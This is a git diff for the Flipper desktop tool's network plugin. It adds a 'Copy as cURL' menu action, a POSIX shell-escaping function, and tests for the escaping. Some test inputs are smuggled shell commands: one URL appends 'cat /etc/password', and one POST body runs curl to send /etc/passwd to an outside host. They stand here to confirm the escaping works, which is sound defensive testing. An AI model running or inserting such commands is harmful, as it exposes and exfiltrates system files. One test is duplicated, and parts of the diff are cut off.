diff --git a/src/plugins/network/__tests__/requestToCurlCommand.node.js b/src/plugins/network/__tests__/requestToCurlCommand.node.js new file mode 100644 index 000000000..8164d2a49 --- /dev/null +++ b/src/plugins/network/__tests__/requestToCurlCommand.node.js @@ -0,0 +1,145 @@ +/** + * Copyright 2018-present Facebook. + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + * @format + */ + +import {convertRequestToCurlCommand} from '../utils.js'; +import type {Request} from '../types.js'; + +test('convertRequestToCurlCommand: simple GET', () => { + const request: Request = { + id: 'request id', + timestamp: 1234567890, + method: 'GET', + url: 'https://fbflipper.com/', + headers: [], + data: null, + }; + + const command = convertRequestToCurlCommand(request); + expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'"); +}); + +test('convertRequestToCurlCommand: simple POST', () => { + const request: Request = { + id: 'request id', + timestamp: 1234567890, + method: 'POST', + url: 'https://fbflipper.com/', + headers: [], + data: btoa('some=data&other=param'), + }; + + const command = convertRequestToCurlCommand(request); + expect(command).toEqual( + "curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'", + ); +}); + +test('convertRequestToCurlCommand: malicious POST URL', () => { + let request: Request = { + id: 'request id', + timestamp: 1234567890, + method: 'POST', + url: "https://fbflipper.com/'; cat /etc/password", + headers: [], + data: btoa('some=data&other=param'), + }; + + let command = convertRequestToCurlCommand(request); + expect(command).toEqual( + "curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'", + ); + + request = { + id: 'request id', + timestamp: 1234567890, + method: 'POST', + url: 'https://fbflipper.com/"; cat /etc/password', + headers: [], + data: btoa('some=data&other=param'), + }; + + command = convertRequestToCurlCommand(request); + expect(command).toEqual( + "curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'", + ); +}); + +test('convertRequestToCurlCommand: malicious POST URL', () => { + let request: Request = { + id: 'request id', + timestamp: 1234567890, + method: 'POST', + url: "https://fbflipper.com/'; cat /etc/password", + headers: [], + data: btoa('some=data&other=param'), + }; + + let command = convertRequestToCurlCommand(request); + expect(command).toEqual( + "curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'", + ); + + request = { + id: 'request id', + timestamp: 1234567890, + method: 'POST', + url: 'https://fbflipper.com/"; cat /etc/password', + headers: [], + data: btoa('some=data&other=param'), + }; + + command = convertRequestToCurlCommand(request); + expect(command).toEqual( + "curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'", + ); +}); + +test('convertRequestToCurlCommand: malicious POST data', () => { + let request: Request = { + id: 'request id', + timestamp: 1234567890, + method: 'POST', + url: 'https://fbflipper.com/', + headers: [], + data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'), + }; + + let command = convertRequestToCurlCommand(request); + expect(command).toEqual( + "curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'", + ); + + request = { + id: 'request id', + timestamp: 1234567890, + method: 'POST', + url: 'https://fbflipper.com/', + headers: [], + data: btoa('some=!!'), + }; + + command = convertRequestToCurlCommand(request); + expect(command).toEqual( + "curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'", + ); +}); + +test('convertRequestToCurlCommand: control characters', () => { + let request: Request = { + id: 'request id', + timestamp: 1234567890, + method: 'GET', + url: 'https://fbflipper.com/', + headers: [], + data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'), + }; + + let command = convertRequestToCurlCommand(request); + expect(command).toEqual( + "curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'", + ); +}); diff --git a/src/plugins/network/index.js b/src/plugins/network/index.js index 2ed8e6682..6ee1b893e 100644 --- a/src/plugins/network/index.js +++ b/src/plugins/network/index.js @@ -22,8 +22,9 @@ import { FlipperPlugin, } from 'flipper'; import type {Request, RequestId, Response} from './types.js'; -import {getHeaderValue} from './utils.js'; +import {convertRequestToCurlCommand, getHeaderValue} from './utils.js'; import RequestDetails from './RequestDetails.js'; +import {clipboard} from 'electron'; import {URL} from 'url'; import type {Notification} from '../../plugin'; @@ -160,6 +161,19 @@ export default class extends FlipperPlugin { onRowHighlighted = (selectedIds: Array) => this.setState({selectedIds}); + copyRequestCurlCommand = () => { + const {requests} = this.props.persistedState; + const {selectedIds} = this.state; + // Ensure there is only one row highlighted. + if (selectedIds.length !== 1) { + return; + } + + const request = requests[selectedIds[0]]; + const command = convertRequestToCurlCommand(request); + clipboard.writeText(command); + }; + clearLogs = () => { this.setState({selectedIds: []}); this.props.setPersistedState({responses: {}, requests: {}}); @@ -188,6 +202,7 @@ export default class extends FlipperPlugin { requests={requests || {}} responses={responses || {}} clear={this.clearLogs} + copyRequestCurlCommand={this.copyRequestCurlCommand} onRowHighlighted={this.onRowHighlighted} highlightedRows={ this.state.selectedIds ? new Set(this.state.selectedIds) : null @@ -203,6 +218,7 @@ type NetworkTableProps = { requests: {[id: RequestId]: Request}, responses: {[id: RequestId]: Response}, clear: () => void, + copyRequestCurlCommand: () => void, onRowHighlighted: (keys: TableHighlightedRows) => void, highlightedRows: ?Set, }; @@ -349,19 +365,35 @@ class NetworkTable extends PureComponent { this.setState(calculateState(this.props, nextProps, this.state.sortedRows)); } - contextMenuItems = [ - { - type: 'separator', - }, - { - label: 'Clear all', - click: this.props.clear, - }, - ]; + contextMenuItems() { + const {clear, copyRequestCurlCommand, highlightedRows} = this.props; + const highlightedMenuItems = + highlightedRows && highlightedRows.size === 1 + ? [ + { + type: 'separator', + }, + { + label: 'Copy as cURL', + click: copyRequestCurlCommand, + }, + ] + : []; + + return highlightedMenuItems.concat([ + { + type: 'separator', + }, + { + label: 'Clear all', + click: clear, + }, + ]); + } render() { return ( - + { + const headerStr = `${header.key}: ${header.value}`; + command += ` -H ${escapedString(headerStr)}`; + }); + // Add body + const body = decodeBody(request); + if (body) { + command += ` -d ${escapedString(body)}`; + } + return command; +} + +function escapeCharacter(x) { + const code = x.charCodeAt(0); + return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16); +} + +const needsEscapingRegex = /[\u0000-\u001f\u007f-\u009f!]/g; + +// Escape util function, inspired by Google DevTools. Works only for POSIX +// based systems. +function escapedString(str) { + if (needsEscapingRegex.test(str) || str.includes("'")) { + return ( + "$'" + + str + .replace(/\\/g, '\\\\') + .replace(/\'/g, "\\'") + .replace(/\n/g, '\\n') + .replace(/\r/g, '\\r') + .replace(needsEscapingRegex, escapeCharacter) + + "'" + ); + } + + // Simply use singly quoted string. + return "'" + str + "'"; +}